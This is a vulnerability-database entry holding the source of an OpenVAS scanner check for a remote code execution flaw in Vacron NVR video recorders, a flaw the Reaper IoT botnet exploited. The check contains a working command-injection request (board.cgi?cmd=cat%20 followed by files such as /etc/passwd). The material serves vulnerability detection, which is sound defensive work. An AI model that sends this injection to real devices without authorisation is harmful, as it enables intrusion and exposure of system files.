DATABASE RESOURCES PRICING ABOUT US

{"id": "OPENVAS:1361412562310107187", "vendorId": null, "type": "openvas", "bulletinFamily": "scanner", "title": "Vacron NVR Remote Code Execution Vulnerability", "description": "The host is installed with Vacron NVR and is prone to Remote Code Execution Vulnerability.\n\n This vulnerability was known to be exploited by the IoT Botnet ", "published": "2017-10-11T00:00:00", "modified": "2020-05-08T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310107187", "reporter": "Copyright (C) 2017 Greenbone Networks GmbH", "references": ["https://blogs.securiteam.com/index.php/archives/3445", "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/"], "cvelist": [], "immutableFields": [], "lastseen": "2020-05-12T17:10:06", "viewCount": 2659, "enchantments": {"dependencies": {}, "score": {"value": 0.1, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "_state": {"dependencies": 1678915652, "score": 1678914494, "epss": 1678933836}, "_internal": {"score_hash": "04c3114ae09a893221ab678361c5548a"}, "pluginID": "1361412562310107187", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Vacron NVR Remote Code Execution Vulnerability\n#\n# Authors:\n# Tameem Eissa <teissa@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:vacron:nvr\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.107187\");\n script_version(\"2020-05-08T08:34:44+0000\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_tag(name:\"last_modification\", value:\"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2017-10-11 10:31:53 +0200 (Wed, 11 Oct 2017)\");\n script_name(\"Vacron NVR Remote Code Execution Vulnerability\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Vacron NVR and is prone to Remote Code Execution Vulnerability.\n\n This vulnerability was known to be exploited by the IoT Botnet 'Reaper' in 2017.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP GET request and checks the response.\");\n\n script_tag(name:\"insight\", value:\"The vulnerability is located in the board.cgi due to non sufficient sanitization of the input passed through the Get request.\");\n\n script_tag(name:\"impact\", value:\"Remote attackers are able to execute remote command and view sensitive information such as /etc/passwd.\");\n\n script_tag(name:\"affected\", value:\"All versions of Vacron NVR\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the\n disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to\n upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n script_xref(name:\"URL\", value:\"https://blogs.securiteam.com/index.php/archives/3445\");\n script_xref(name:\"URL\", value:\"http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_vacron_nvr_detect.nasl\", \"os_detection.nasl\");\n script_mandatory_keys(\"vacron_nvr/installed\");\n script_require_ports(\"Services/www\", 8080);\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif(!port = get_app_port(cpe: CPE)) exit(0);\nif(!dir = get_app_location(cpe: CPE, port: port)) exit(0);\nif(dir == \"/\") dir = \"\";\n\nfiles = traversal_files();\n\nforeach pattern(keys(files)) {\n\n file = \"/\" + files[pattern];\n\n url = dir + \"/board.cgi?cmd=cat%20\" + file;\n\n if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {\n report = http_report_vuln_url(port: port, url: url) ;\n security_message(port: port, data: report);\n exit(0);\n }\n}\n\nexit(99);\n", "naslFamily": "Web application abuses"}

{}